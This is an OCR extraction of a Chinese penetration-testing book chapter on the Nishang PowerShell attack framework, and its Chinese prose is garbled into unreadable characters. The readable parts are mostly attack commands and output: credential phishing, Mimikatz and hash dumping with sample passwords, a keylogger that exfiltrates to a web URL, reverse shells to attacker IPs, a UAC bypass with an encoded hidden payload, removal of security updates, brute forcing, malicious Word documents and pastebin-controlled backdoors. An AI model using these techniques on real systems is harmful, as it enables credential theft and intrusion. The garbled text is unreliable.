10 KB
1KB
1KB
1 KB
17 KB

El6-163 EEBERAYEH

TEXINishangBIREHE BINEEHTIREE, A136-1F7n.
#6-1 NishangRUEER R HIhEY




%ﬂmﬁ%mam%"ﬁﬁwmwma§

o B h #E
Antak-WebShell WebShell
Backdoors J&ill
Client LInl
Escalation L
Execution RCE
Gather £ L] .'.-_':!-;’-{ 3
Misc 3= I
_Pivot h_if-“:. W/ AT EXE
Scan EREL
powerpreter Meterpreter Erid

6.4.2 Nishangf&HRIHSCE
Nishang fIEERRES, ANSRHERRSER, BEfIbENEESE=
1.Check-VM
ZHAR RIS EESET S EANEL. E@ETENeHl—
LEIWANESUEE (MHyper-V, VMware, Virtual PC, Virtual Box, Xen,
QEMU) RiRzI, WE6-164FTR, 1ZHBEE—SREIL.

Elo-164 #MES I
2.Invoke-CredentialsPhish

XN ERERER BtnENAAR, AP RMAES, EhERTIRE
SILAF S AIFRSIIRRIAIEA, REANE6-165/7.



mmﬁwmxmw"m%»mvns}

e

%

2009/7/14
2017/6/8
2017/6/718
2817/5731
2017/6/8
2017/6/26
2017/6/26
2004/12/30
2015,?2/23 s &
2017/6/1 : b f
=8 @)

Flease enter your user nene and password

PS C: O Import-Module .\Invoke-Credent
PS C:\> Invoke-CredentialsPhish

El6-165 EFEBRAEFBAKSERD
AR RN, EARNGANIERZRBHXAAR T IHEE, REEasls
i, XERIMERIBEYHNEERKSES, JE6-166FT.

PS C: > Import-Module .\Invoke-CredentialsPhish.psl
PS C:\> Invoke-CredentialsPhish

sername: smile Password: 123456 Domain: Domain:
PS C:\> a_

E6-166 ALIBEREVKEEES
3.Copy-VSS
X MEIARIFEVolume Shadow CopyfRSSEHlsam3s, MNEXMNHAIE,T
EYDCHLLE, ntds.ditiISYSTEM hivetbgEEHE IR,
EERA MR, BT AhRYE R aE6-167 .
PS > Copy-VSS #GERIEXHAFELAEET
PS > Copy-VSS-DestinationDir C: temp #HEEFFHNER (WREE
LEFENER)



& EER: Windows PowerShell =-la] x |
7« =M #E =8 2]
T » nishang-master ~ == p

. l . . o= ... RN i i ==
el s TR Prasadhak

W = ax P

e . EsEneR Shells

b Utility

AR gitattributes
z H rs .gitignore
-~ s CHANGELO

54 3 DISCLAIM 16/10/4 1 e

W-j o BF encoded

= encod: .

.ﬁ & LICEN

nish.

B s REA

| SAM : %

K m

= E16-167 Copy-VSSHIEI TR

g 4 FireBuster FireListenerf3f#g8

& BRI, TS, RAEEEEE, Baks
NN

FireListener.

BIEANEN L TN dp$iz{TFireListener,
FireListener 130-150

BEEEERMALL NS, SRENE6-168f7r.
FireBuster 192.168.12.107 130-150 —\Verbose



{ﬂmﬁ%mxm%"m%»mvns}

(, ) FireBuster 192.168.12.1087 138-158 -Uerbose
X : Trying to connect to 192.168.12.187 from 130 to 150

Irying port 138
Irying port 131
ITrying port 132
M: Trying port 133
=2 Trying port 134
M: Trying port 135

S: Trying port 136
Trying port 137

: Trying port 138
B: Trying port 139

= : Trying port 148

Trying port 141

5.Keyloggeri#f2ic®
NishangUiBEIC R 2 BRTAIFEE TS TRER 8RN, BEaxX
BRI E, MALIT®S, WE6-169F7.
Get-Help.\Keylogger.ps1-full



El6-169 E5FEIUY

o] LIERIE6-169 A 7 PUMT AT, BReSU N,

\Keylogger.ps1 #EHEXMHElT, BRICRAWFEFESRIE TempHE
F Mkey {4+,

\Keylogger.ps1-CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x-
. MagicString stop this #-CheckURLBHSMEAAHIINTZ 25
&-MagicStringlsfIF#E, MREFEMELLERICRE.

\Keylogger.ps1-CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x-
MagicString stop this-exfil-ExfilOption WebServer-URL http://192.168.254.226/
data/catch.php #GIERIBE XL — 1Rl LACKPostiE Kl IWebRS5 25,

\Keylogger.ps1 —persist #3THUFAKICR (BEBEHKAHTICR) -

TEFEmAE FE TG, EiETKeyloggerps1®s, EiASfETemp
BREM—keylog™{¥, WIE6-170Fm.

%ﬂmﬁ%%imw"ﬁﬂwmvns}
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X WA Windows PowerShell =

v Temp HE

(C = =3 B

B~ » Administrator » AppData » Local » Temp »

et

vhgby sn
T vmware-Administrator
man G s
Secrse wxg Siduf
xcowdSyn
‘H";" xe24srub
- ";_ xeizh2oz
& y2ffgast
i yarnqasu
v 8% yvg 1 ruork
— b0d3det
R o

B6-170 4Aikey.log T
REMALL TS, #HNishang UtilityhfParse KeyssEfZHT,
parsed txtEF S HIMEEFSHHEZSEICR, WE6-171F7r.
PS >Parse Keys.key.log.parsed.txt



WA Windows PowerShell

ey DR parsed - 2F =I=1
kspace/Backspace. confnte

:/‘-‘N e L - !;- ..v\ L :
' i A plackspacelack c 19 > i T
e |,

b [

2 |

5|

b Ee6-171 E5ZBICE

- -171 BEFEFBICS

Z 6.Invoke-Mimikatz

 ESEESMIMimikauiERAE, MIANSAERERIT, KA
K AENERNE6-172F 7.

% Invoke-Mimikatz-DumpCerts ##DumpHANAIEIHER

& Invoke-Mimikatz-DumpCreds-ComputerName @
,\f/, ("computer1”, "computer2") ##DumpHiiENEETENNEIEHER

Invoke-Mimikatz-Command "privilege: debug exit"-ComputerName
"computer1” ##ETIEAI—E1EE EizfTMimikatzF 47" privilege: debug exit”



(08000083 ] Primary

* Usernane :
: WIN-QUCBGAB?ULIA

: 44efcelb4ab921caaadib435b51404¢ee

: 320d87bdb5fdcS5e9chaBB547376818d44

: 6ed5833cf35286ebfB662H7h5949FBd742bbec3f

* Domain
* LM

» NTLM

= SHA1L
tspkg :

* Usernane @
: WIN-QUCB6ABV1A

* Domain

* Password :

wdigest

* Username :
: WIN-QUCB6ABV1A
: 123456

* Domain

ssp *

EmmﬁmeMM"m%»mvos}

2
S

* Password :

smile

smile

123456

smile

: smile

WIN-QUCB6ABV1A
123456

E16-172 FIBEMimikatzAMEES

7.Get-PassHashes
X MHATEAdministratorfIRBR N ] LADumptHZiE1A%{E, KR T
MetasploitfJPower Dumpiéith, EEEERHH 7N, FEABFESYSTEM
BRI A Dump Y, WIE6-173Ff7s.

E6-173 3x8{Hash

8RB NZRBIEREE
XA TTPAMWindows KB ZREEREE, EE8Administratorfld
$RBE§E1>&EXsam hive. SJLMRIBIENMEEANEZIRTH, sEAKIEERFEAIAINZER,

EEpE5S—

B ASBEEBICREXMENMEEP. AL TS, slUERIR

~EEqwer, 51[16-174]5)%?0
Get-PassHints



ﬂmﬁ%mamw"ﬁﬁ»mw0=§

2

B

PS C:\lUsersssmile-TT> Get-PassHints

smile-TT:quer
PS C:\Userssmile-TT>

El6-174 ZEEFHNERIRRER
6.4.3 PowerShell[ZEIB{=ZEE
1. ZETTCPYAIPowerShellZZHx{(Shell
Invoke-PowerShellTep EE T TCPIYAIPowerShel IF[aiEEak  [F1ERE

, Shell, ZERNEAESEEU .

e |PAddress <String> #i%%-Reverselt itk a~as Y| PHbAL

e Port<Int32> #j%&{¥-Reverselt M nGm i EEZ im[, #EE-BindiEn
B e ITis .

e Reverse [<SwitchParameter>] #[xz[EEiE

e Bind [<SwitchParameter>] #IFAiEE

(1) REEE

FEANCISIRAIh3333iR [ GEEwmicallr, AAEBH EHTHIARS
tig) , WU M.

nc-lvp 3333

RSB PowerShell MaINLA T ar<, [58Shell3]192.168.12.11087
3333im[.

Invoke-PowerShellTcp-Reverse-IPAddress 192.168.12.110-Port 3333

FILVRRIEZAY), AE6-17507mn.



%ﬂﬁﬁ%%iﬁ%“ﬁﬂwmvns}

var w/html# nc vp
listening on [any] 3333 ...

192.168.12.103: inverse host lookup failed: Unknown host

connect to [192.168.12.110] from (UNKNOWN) [192.168.12.103] 57656
Windows PowerShell running as user 7?7 on MY PC

Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\>whoami

my pc\??

PS C:\> ifconfig
my pc\?7?

PS C:\> ipconfig

Windows IP 7?7

BE6-175 RENERE
(2) 1EFNEER
fEBitlPowerShel I FTLA NIASR S, W0r3333um[.
Invoke-PowerShellTcp-Bind-Port 3333
ENCMUTLL RS, EEBIR11192.168.12.103(93333i% .
nc-nv 192.168.12.103 3333
o] LAERNEERD, HiTpsiSRIDIEERER, AE6-176F7mr.



{ﬂﬁﬁ%ﬂiﬁ%"m%»mcns}

tnl# 2.108.
(UNKNOWN) [192 168 12.103) 3333 (?) open
indows PowerShell running as user ?? on MY PC
opyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\>ps

andles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName

155748 ‘ : 360Tray

3036 £ aaHMSvc
15936 41060 ’ ApplicationFrameH
3656 5368 4 AsusFanControlSer

7432 3440 ; atkexComSvc

30540 30644 - - audiodg
E6-176 IEmEERE

BB AMRIBIEFRIEMERE, faladiEmREERE? BEEUBEIMEINIMIRER
MRJEHE, FRIEGEIEE. SEMERMMIREINNAIER, BREEER. NREBEI
M, MEEX5EI, AL E.

2. ZETUDPIHYAIPowerShellZz B Shell

Invoke-PowerShellUdp 2T UDPHMNYHIPowerShellIE [ & [F1EE
Shell.

XEBREEEGZEN EEER, BTFETUDPINY, FrlAnclasSBRiARE.
BEeSWS, BfttERGiA2RamaI=Ebl.

[EFEZ®S: nc-nvu 192.168.12.103 3333

Jﬁﬂﬁ?ﬁﬁn‘%\: nc—lup 3333

S e

. EETJLAE




AEEEEEWindowsHILinuxiITERNE e SRR, WE6-177F7r.

explainshell,com

o

|

e

b

%

2

=

7]

: El6-177 Mt
SEFHTTPHIHTTPSHIYKPowerShellZEzShell

A Invoke-PoshRatHttp#lInvoke-PoshRatHttps EETFHTTPHMYAIHT TPSHR
X WiPowershell R EShell. BT EFTCPRIUDPHNNIIShell, NishangSriss
i THTTPAIHTTPSHNYAIShell, PRFHIARIGERDiEZ—8, 1BE0 M.

% HTTP: Invoke-PoshRatHttp-IPAddress 192.168.12.103-Port 3333
e HTTPS: Invoke-PoshRatHttps-IPAddress 192.168.12.103-Port 3333

ot

XERPHEETHTTPINYAIIARER, RislEe-178fmlms, 7
192.168.12.103094H1140f3333i% [, £&4m—1PowerShell§i%.

El6-178 HifTHT TP

BERR G ERZIBHCMDRHAT, AIRar<ST=BliHE, ARt



AHlPowerShel F&IREIEFMILIP/192.168.12.10741E, HiTpsth SIEiRmm
11, WE6-179F.

E16-179 F3EAh

6.4.4 WebShelli5i]
ZHEHEZ T \nishang\Antak-WebShell BR T, B2 —PASPXH “Xk
5" , {#HPowerShell &<, HLCMDHOERAMRS, ISETLUEHERA
WebShell@i3thiTiiA, HfE. TEOUE, BERINE6-180F 7.

EmmﬁmeMM"m%»mvos}
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E16-180 WebShell
ZERAHTHTVRERE, HiEWebShel [GRIERFZMIR{EPowerShelli,
FEO—H, EETNEERHESIFINEER, BE “Upload the
¥ File" “"Download” 1Z5HE]A],
6.4.5 BRIEF
1. R
Download_ExecuteZ2Nishang Ry REHTHIA, ERT FEAUE, A
[ R T AT S AT.
FEARL < IR ANishangFiexetotext.ps 1 i A& MetasploitEAATIA
OiEmsfexe BN AN fmsfixt,
PS C: Usersroot> ExetoText c: msfexe c: msfixt

.mmﬁwmamw"m%»mvos}

I



Converted file written to ¢: msftxt

RIEMANLLT 4%, JADownload Execute AR REFHTIZ A4

PS C: Usersroot> Download Execute http://192.168.110.128/msftxt

XAEITEMetasploitfI iR R AT LARIIERIEfERRAIShell, 2NE6-181
Firs.

msf exploit( ) > run

*] Started reverse TCP handler on 192.168.110.128:4444
[*] Starting the payload handler
*] Sending stage (1189423 bytes) to 192.168.110.131

*] Meterpreter session 3 opened (192.168.110.128:4444 -> 192.168.110.131:49172)
at 2016-10-27 04:56:08 -0400

meterpreter > pwd

El6-181 LS hell
2.Bypass UAC

User Account Control (FBFRFEH) ERHIRESRALZ ST

Windows Vistad5| \FIFRAR, BEKAFER TSt S s e E b EF
BN EZRT, RINIRREERER. B SER ETRERTIIE, 5
SVFRIAER T, UACEILARS I RS EREA E, Bt T2 3aixd i E Lt
TEX.

fEWindows Vistal AN EERIRAS, GER5 IH T 22IT60%E, 585,
. B=1ER. SEANHEEEEEADIR, PERHERE N ERHERIIR
, (REBIHEINRSE RS, FARAEHERAZR M, FREEETEEN.

UACHEERHINFaLE:

¢ fitEWindows Update.

o EINEKAIFRAEF K, .

o BEEFFRIMKFZEE,

o XZFUACIRE.

%ﬂmﬁ%mamm"ﬂﬁ»mwms§

am B



—-o%ﬂi'fﬁ)lﬁ}ﬁmﬁﬁ%" TEBW oo = }H

o T ActiveX,

o LEREEER.

o S EIKTRER.

o IREBRKITH.

o &3t iEnEEHI5|Program FileszWindowsHE.

o EEHAFIIUSE,

UACE4TZEEN, 2 M.

o AISEA: XESTTHRINRE, Hurz, YEEFEERESAIIBIRN,
IR AR,

o (VEEFd EESEANT B IBAE: XEUACHIZEUAIRE., At
Windowst2FFEERSRAIREN, ANBMAF. BNE—HiEFERERERAIN
FRAET, SfRAMER.

o (WA BRI BB (F&EEElRE) : 558
ENEKEE, EiRFAFPEAHEREENEE.

o NARR: HAPARGEHERN, ARSI SRz T.
Invoke-PsUACmet&b (R 7 B UACMETEIDLLESSTUAC, 1ERESE
IJUAC, Nishang4&HGEEESmE, FIH 7 EMsdUACH G, WIE6-182FF

7=, olllEInvoke-PsUACme S BN AT A=,



>

B SEMEEHE FEPR e =:

£

CRYPTBASE. Al 7f
F windows 7
sheore.dit 31 F
Windows 8
wdscore.dil 3 F
Windows 7, 8 0
10
ActionQueue .dil
{R{234F windows
7
wdscore.dil 31§
Windows 7 10
Windows 8
ntwdblib.dil 2§ F
Windows 7. 8 10
10
C:\Windows\System32\sysprep\Copy | ntwdblib.dil 3§ F
winsat.exe from C:\ Windows 7
windows\System32\ to devob).dil 3 F
C:\Windows\System32\sysprep\ Windows 8. 10

ntwdblib.dil 3 -'F_

Windows 7
elsext.dil 3 F
windows 8 10 10

C:\Windows\System32\

C:\Windows\System32\sysprep\sysprep.exe

C:\Windows\System32\oobe\setupsqm.exe

C:\Windows\System32\sysprep\sysprep.exe

C:\Windows\System32\migwiz\migwiz.exe

C:\Windows\System32\cdiconfg.exe

C:\Windows\System32\sysprep\winsat.exe

C:\windows\System32\mmc.exe eventvwr

El6-182 L5FUACRITIIE

EIN\GET-HELPSRSREEREAERE, WE6-183f7m:.



-+

P8 Jinvebe PsUACne ~Verbese

Above command runt the sysprep method and the default payload.

PS Yloveke—PeUACne —nethod oobe —Uerbose

S,
P

Above command runs the oohe nothed and the default payload

# 2

PE dlnvoke PelliCne nethed cobe -Payload “povershell -vindowstyle hiddon -o SQEuANYAbuBrAGUALQEPANgNcADYAGUAC wB2ACK
AbBUACARJAROAEARZABIACHATUB INGOAZQB JANGA | ABJAES ALy BTANQAC gD IAGEALQBSAGUAYQBIAGIAC gh gh CyAJAN 0 AEARZQBIACHAT VB IAGORZQ
BIANQGA T ABJAESALy BDACEADQBUAN I AZQB=ANMAAQIVAGCAA Ly BEAGUAZy Bu ACEAAA B 1A PMAAAByACUAYQBLACAAMARKACEAT g B 1AHCALQEMGI Raglln
GMAAARGR ERATuAuA EBAZGBL AGHAC g BS AFMAIA ByAGURAY QLA CARA KAA <A COAKA LA EMA by BuA N YAZQBYANGAX QAGA Do A Ry ByA GRABQBCAGEAcwB 1ADYA
NABTANQA c g BpAGAAZufoAC AUABAA EYAZANM Dy EQRIAEYALQE LAHYA Qv AHMAUA B A DAL wBOAGyA T g Buf FEANGEn A DyfiMg BSA DQAULBBAGT AQull
JAEBADABUAFgANQBoAFyAZUBSAD I ANABQANHGAC g BGAFgAC UBPAF | AUAA xARYRcQASANAAY g B IARGQAUGBEAHUASARSAGUARQA 1AGKAaA B AC
MARGBYAEQASABCANYAag B IAGEALYBHAE | ASQUPANgANQBANN cAS g BZAFoAS QBIAGUA QB A FMANG BEAGMAUA BQAN ke A BY AH kA aQBaR DGAY
VB1RGSAOAHDA D AZA Bufl EMAOA BRAGBAAA BGANAA T gA JAHARAVA L AGT AV BHAKUAU ¢ BJAR AUy BCAGEA WA r-A FURDABEAGMATQR IADUA T gR 1 ADRAZg BD
ADYAVBAACEN Mg Bgh EAAVA BIRGAAQBIAFQAc g B2ACOAY g BXADGA Zg BUAHYAY g BCAD I AOABMA EoRaQBv AN IA Vg BpACIAYQBEYAFEAZGBIACT AUgH jAF T
ASWERAFEAUABZAE | ACABTAGOR KuBNA Eofc wBRAFQASABUA FIA RUBUA EXAT g BeR DKANGBaRGKAUY BXAES AaAf ri Dc AdwB 1 AGNA BQB4AN CAMA BPADUALQ
Bt | Al BT AFoANA BJAPAARGEXAC: ASQBGAE | Al g BAAGEAIQBuAN MAUg B il DgAQuB1AGYARUE>ANNAUGEYAF oA TA BuA FGAUA BDA EvANGEGA EoRY WA 2N
NGAQQEPAEQANQEIA DI AdQOBMADEASA BCADGANAB3ADIAcABGAFYANGBIAE I ARVAZAGSASyBCAPgAABLAGYAdVBCAGCASABZAESAAQBUAGIAZgBZAFIA
Rgfl yA EAA SRz AGT AN AGC AVAR T ADERC GRFA FIA ZA DAAH KAUGBOAGHA BAR LAGRAVWE i AGQAY g INA E 1 Alg = ADcANGExA Eofl LuBUAGYAUQBUAN KA AN
rAHGAZwBrAGoAc QA AEMAUVQEXAN0AMQBY AN ANQBOAN | AUAASAEARZABIAGo AT yA rADyA YQBVAGY A0A BRA E4ANGEGAGS e y Bnf DMA LAAVAE T AJwA phC
MAKQAPACKA | ARBAEIAT whuf EMA built ANAAC g B IANMAC wBpAGER by fuft EM buBt ANAAC g B IANAAC wBPACEA by BNACEAZA B IAPBAOGAGA EQAZQRACEA DL
QBWAR TAZQRANNAKGA ph CuA | ABHAFOAZQGB4ANGA Ly BPAGAAY wBUAGOR 4 GBuA GCAX QA6 A DoAQQBT AEMAS QBJACKAKGAUA F T AZGBMGOAUA By A EUA by Bk
ACGA KGN 7AN ==

El6-183 E5FEENER

BT AT R,

PS > Invoke-PsUACme-Verbose ##{&HSysprep/5izHtHATE0AR
Payload

PS > Invoke-PsUACme-method oobe —Verbose ##{&fHoobeFixH 1T
ERARYPayload

PS > Invoke-PsUACme-method oobe-Payload "powershell-
windowstyle hidden-e Your EncodedPayload” ##{&F3-Payload 2&{=]LAB{TI5E
Hi7A9Payload

BRIELLAGM, ER]LAGEFR-PayloadPath2#38E—"Payloadi&’®, EEOAE

BHSEHNEEHE FFhtcoe =

2
S



T, Payload&fEC: WindowsTempemd.batfaeh. iAo]LAEA-CustomDII64
(644i1) Z-CustomDLL32 (32fi1) 2FBEEN— DL, AE6-184F7r.

v
W
[
b
Z
E'S
'
7]
g El6-184 IBRESE
g ENHAA BB IR EARTENEFRFEZE2EH, LIRISERSN
g E. BARSILIEENEG-185H AR AliRA.
% I EIARIBT 0 T 7.
V02 PS > Remove-Update All ##fEkxBt28 ERRTEEST

PS > Remove-Update Security ###krBirtlles FRIE S 2EXER
PS > Remove-Update KB2761226 ##i5iRiEEmSHER



{ﬂﬁﬁ%ﬂiﬁ%"m%»mvns}

PS >Remove-Update All

This removes all updates from the target.

PS >Remove-Update Security

This removes all security updates from the target.

PS >Remove-Update KB2761226

This removes KB2761226 from the target.

E6-185 7ipisia
EERZHAZH, FSREEAAGRNT1E5R, 2E6-186F 7.



CEEERHUHN BERW o =

C:\pagefile.sys

WorkGroup
SANPC-20170620 F
¥ 218 PMETMERSF.
[A11: KB2849697

[A2]1: KB2849696

"
Hira.

E6-186 Emah T
ZiRMBRE—14NT, BAPS>Remove-Update KB2849697#:%, Bk
TifikR 72— AT, SNE6-187F.



{ﬂmﬁ%mxm%"m%»mvns}

PS C:\ll:crs\ﬁdninistraéur) chuue-Updafe KBiB49697
Removing 2849697 from the target.

1PS C:\Users\Administrator) systeminfo

PC-28178620YNYF

Microsoft Windows 7?7 "..‘!q” R
6.1.7601 Service Pack 1 Build 7601
Microsoft Corporation

Multiprocessor Free

PC

Microsoft

#0426 -0EM-8992662-00006
2017/6,28, 11:108:44
2817/6/27, 9:16:28
PEGATRON CORPORATION
H118-M1

xb4-based PC

2 —ribg
(01 Intel64 Family 6 Model 94 Stepping 3 Genuinelntel "270
Anerican Megatrends Inc. 9101, 2015/8/24

Windows

C:\Windows\systen32
\Deuicc\ﬂnrddiskaluncl
zh—cn; P (b-hi)
zh-cn; H (l'#Jr <
CUTC+88 : 08> j',ﬁ. iE, FEHH
8,145 MB
3,715 MB
16,289 MB
10,947 MB
5,342 MB
C:\pagefile.sys
WorkGroup
\\PC ZUI?GGZBYN

T

KB2849696
El6-187 HiTHIZE
HAhThEE
(1) #&O#3HE (Invoke-PortScan)
Invoke-PortScanZ2NishangfUix[3EHA, ERETAIEN. FHFEN



2. wOEE, ETSEP—MELENEIA. #A\Get-Help Invoke-PortScan-fullB]
o EEREER, E6-188fr.

-Startfddress <String>
Startfddross Range

4

EndAddress <String>
Endfiddress Range

~Resolvelost [(SwitchParameter>]
Resolve HostName

ScanPort [(SwitchParameter>]
Perform a PortScan

N
W
e
b
=
E'3
¥
B
&
B
A
it
P
3
1
2]

2
S

~Ports <Int3201>
Ports That should be scanned, default values are: 21,22,.23.53.69.71.80.98,.119,139.111,
389,443,415,1080,1433,2001,20849,.3001 ,3128,5222,6667,6868,7777,7878 .8080,1521 ,3386 ,3389.,
58081 .,5908,5555 . 5%01

TineOut <Int32>
Time Cin NilliSeconds) before TimeOut, Default set to 188




El6-188 EEHEEE
B EE0 4B M.
e StartAddress ##11E 0 EFTIARHEHE
o EndAddress ## DR RAVIHE
e ScanPort ## i {TiR[1E
e Port ##5EiAL (BUAFEEN: 21, 22, 23, 53, 69, 71, 80,
98, 110, 139, 111, 389, 443, 445, 1080, 1433, 2001, 2049, 3001,
YN 3128, 5222, 6667, 68 68, 7777, 7878, 8080, 1521, 3306, 3389, 5801,
5900, 5555, 5901)
e TimeOut #AZEBATATE
fERL TS A S TEE, BRESTNFER TS, mE
6-189F7.
Invoke-PortScan-StartAddress 192.168.250.1-EndAddress
192.168.250.255-ResolveHost

rtScan -Etartfddress 192.168.258.1 -EndAddress

-%E:‘:Eﬁ%ﬁﬁ?ﬂﬁﬁ%" TE MW o =

El6-189 HiF-itlS1EM
(2) IREHARE (Invoke-BruteForce)
Invoke-BruteForceENishang+h i TENHEFENEA, EETXISQL
Server, Ifi=HIEE. WebMFTPSS[1HEMH. HEEFHIS, WE6-190f .



{ﬂmﬁ%mxm%"m%»mvns}

PE Dlnveke-BruteForce ~ComputorNane SQLServ@l -Userlist C:test users.txt ~Passwordhist C:test wordlist.txt ~Servi
ce SQL ~Verbose

s in werdlist. txt

PS Dlnvohke -BruteForce ~Conpute me targetdomain.con ~Userkist Citest wsers.txt ~PasswordList Cintest weordlist.txt
Service ActiveDirectory -StopOnSuccess ~Usrbose

Brute force a roller of targetd: : : s.txt and passwords in werdlist.txt.
Since StopOns pec if Lod. the brute f

0 3

PS dcat C:\testservers.txt ! Invoke-BruteForce -UiserList C:\test\users.txt ~Passwordlist C:\test\wordlist.txt -Sewr
vice SQL ~Verbose

AT AN AT,

PS > Invoke-BruteForce-ComputerName targetdomain.com-UserList
C: testusers.txt PasswordList C: testwordlist.txt-Service ActiveDirectory-
StopOnSuccess-Verbose ##RFIaEHI25

PS > Invoke-BruteForce-ComputerName SQLServ01-UserList C:
testusers.txt-Passwor dList C: testwordlist.txt-Service SQL-Verbose ##ZiESQL
Server

PS > cat C: testservers.txt [Invoke-BruteForce-UserList C:
testusers.txt-Passwor dList C: testwordlist.txt-Service SQL —Verbose ##15&H
server.txtFiGserversfSQL Server

BRS8N B FE-.

e ComputerName ##XI N RS ANTEZ

e Userlist ##fP& =8



e PasswordList ##Zf3F

e Serviceflg% (EIABSQL)

e StopOnSuccess ##ICE— N gi=1E
e Delay ##3ERATA]

(3) IR
RRIRRIIER AR, EEMERA, EUDNANRE, T
#—T.

EEL LT T ar<S, ME6-191F 7.
Invoke-Interceptor-ProxyServer 192.168.250.172-ProxyPort 9999

ver 192.168.250.172 : N2

81 586 Bc 871 PR2E1BF 1 hE7h

%ﬂmﬁ%mam%"ﬁﬁwmwma§

Ee-191 EEMhiTHS
PATLA T e SRR EEANS 99994k ], AIE6-192/.
netcat-lvvp 9999



:ﬂﬁﬁ%%iﬁ%“ﬁﬂwmvns}

%

:~# netcat -lvvp 3128
listening on [any] 3128 ...
connect to [192.168.2560.172] from smile TT.lan [192.168.250.66]) 63247
POST http://site.browser.360.cn/index.php HTTP/1.1
Content-Type: multipart/form-data; boundary= - - -« «-Jddcad59
1fd79
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/50.0.2661.102 Safari/537.36 QIHU 360EE Intercepted Traffic
Accept-Encoding:
Accept»Languagn zh-CN,zh;q=0.8

quld 137’31670 1246770321162578400.1498449846775.7551

7ddcad5951fd79:

Content- stp051r10n form-data; name="rn",form-data; name="sitedata”
377559:
6815060c071702010f1b676c0319050762165a5953504d17435f471768:
Host: site.browser.360.cn
Content-Length: 254
Expect: 100-continue
Proxy-Connection: Close

E6-192 At is0rim
(4) FETH

Show-TargetScreenfilA{EEMIPEGIE S Bt LiTiE SEAVCR EE, £4
HUBTLABEFANCEZ PowerCatifH 50T, EAMEERSTIFMIPEGRINIYES (40
Firefox) AlEIANIN R SR, RIaJfElbees EERI M mimE i EsRIISEhEm,
IEE/RE].

pATHI:

PS > Show-TargetScreen-Reverse-IPAddress 192.168.230.1-Port 443 ##
iR EmE£5192.168.230.149443i% [

B2 B M.

e |PAddress ##[GENNIPHLE (REEEZRE)

e Port ##/0im[]

e Bind ##1F[0)iEE

FEEL EBA L T aSaial AR EEEDER.



Show-TargetScreen-Reverse-IPAddress 192.168.250.172-Port 3333

EEEAMUSMALI TGS, ZhRIAao999s], ol AZEE Bl
FREY, JE6-193frr.

netcat-nlvp 3333 |netcat-nlvp 9999

 UPEG Image, 1024 x x | 4

-

VY € ® 127001 B 3 #
W

e 1Most Visitedv [JJOffensive Security "\ Kali Linux "\ Kali Docs "\ Kali Tools KJExploit-DB W Aircrack-ng
b

=

2

B

B

&

B

A

it

P

53

i1

2]

'\/‘

E6-193 G EIRER
[EEEEGNEREN L ESREANERER, aSuUT.
BstlHiT: Show-TargetScreen-Bind-Port 3333,
AHHAT: netcat-nv 192.168.250.37 3333 |netcat-Invp 9999.
ST RRFES I ANAI9999i% [, Fel G EMNERES.




Hg BHSUEEFN TED oo = }*

WWW. glanani. com
54D
NishangFIAEEREIA, EIaJLURREZMIUE, SIHTA. Word, BT
{7PowerShellffiA&, BILEABAGA I, WHIARFTEREENEG6-194F

7TNe

& Out-CHM.ps1

& Out-Excel.ps? 2 . jows CE
& Out-HTA.ps1 2017/6/26 19:16 Windows Power 6 KB
& Out-Java.ps! ;
& Out-JS.psi

& Out-SCF.ps1 : . Windows Powe

& Out-SCT.ps1 2017/6/26 19:1¢ Windows Power

& Out-Shortcut.pst ] f

& Out-WebQuery.ps!

& Out-Word.ps1

E6-194 EF RS
SMNHANERGEERER, XBLAERZREEIIWord .
BFNEEN 2 N R,
e Payload ##[SHEIEZ/NPayload, BEEIE5ISAE
e PayloadURL ##{E \ii2IPayload#H{T4R%
e PayloadScript ##EEAMIIHEIAIHTERN
e Arguments ##2 [RIGEHTHIRE (1BEPayloadBRIEREY)
e OutputFile ###IHAI442
o WordFileDir ##51HA0E it
e Recurse ##{EWordFileDirdiE |35 Word X {4
e RemoveDocx ## 8ISk MIBRERIE 4
BRMAUT®S, EAET4444i50
Nc —lvp 4444



BHEIUEEH SEH e = }.

2
S

ot

EEHIEWord34:, ¥1FFnishang\Shells\Invoke-
PowerShellTcpOneline.ps IX N4, SHIE=FRSE, sJLER+EE—
TepClientfy28), XEFETEEENMUE T, WE6-195F 7.

El6-195 E5iniEiEiERIitit
XEFEEX MR O XAAAY PRAMRSITANRL, SCeUaSHhZ
B, EaSiT MAL TS, ME6-196f .
Invoke-Encode-DataToEncode’ SHIAIS" -1sString-PostScript

E16-196 $dTHLES
MiTERZ e =E S ER MR, — 1 REencoded.txt, 5—1E
encodedcommand.txt.
EEN{TO0ut-Word-PayloadScript.\encodedcommand.txtip<.
e LR R i—1 & ASalary Detailsfdoc3{4. BRI

WordLAlg, &f5#sShell, FESAREINTEN LREEERR, REBAIRENSE

[ERERER. RESGER PowerShel[Sa]LURE F it E|Metasploitfy
Meterpreter, ¥1E6-197f=.



%ﬂﬁﬁ%%ﬁﬁ%"ﬁﬁwmwma§

El6-197 FERAELn
6./al’]
(1) HTTP-Backdoor

HTTP-Backdoor=] LAFS AT JE Biri/leg £ T aAnhiTPowerShel BIE, %
KCREE=MULHHES, RaERFHHiTPowerShellfiIZA, EiEZEI FHR.

TTP-Backdoor —CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x-
PayloadURL

http://pastebin.com/raw.php?i=Zhyf8rwh-MagicString start123-
StopString stopthis

BARNSHN B M.

e CheckURL ##5H—~URLItEALE, WIERFE, MagicStringRRERHT
Payload>E &, iETHABIRIZA

e PayloadURL ##5HFEE NI PowerShel lfIA i

o Arguments ##STEERTHIREL

e StopString ##¥WTREEFECheckURLREINFFE, MEEFENNEIHR



(2) Add-ScrnSaveBackdoor
XA A BEA IR BBWindowsHRESERE T E@iE ], EivT
B R,

PS »>Add-ScrnSaveBackdoor -Payload "powershell.exe -ExecutionPolicy Bypass -noprof
ile -noexit -c Get-Process" X R S B AT LA T RN 4 1Y) Payload
PS »>Add-ScrnSaveBackdoor -PayloadURL http://192.168.254.1/Powerpreter.psml -Argum

l ents HTTP-Backdoor
e http://pastebin.com/raw.php?i=jqP2v13x http://pastebin.com/raw.php?i=Zhyf8rwh sta
"' rt123 stopthis #4F [iliX & dn 4 0T LLYE Powershell w7 — 4
HTTP-Backdoor
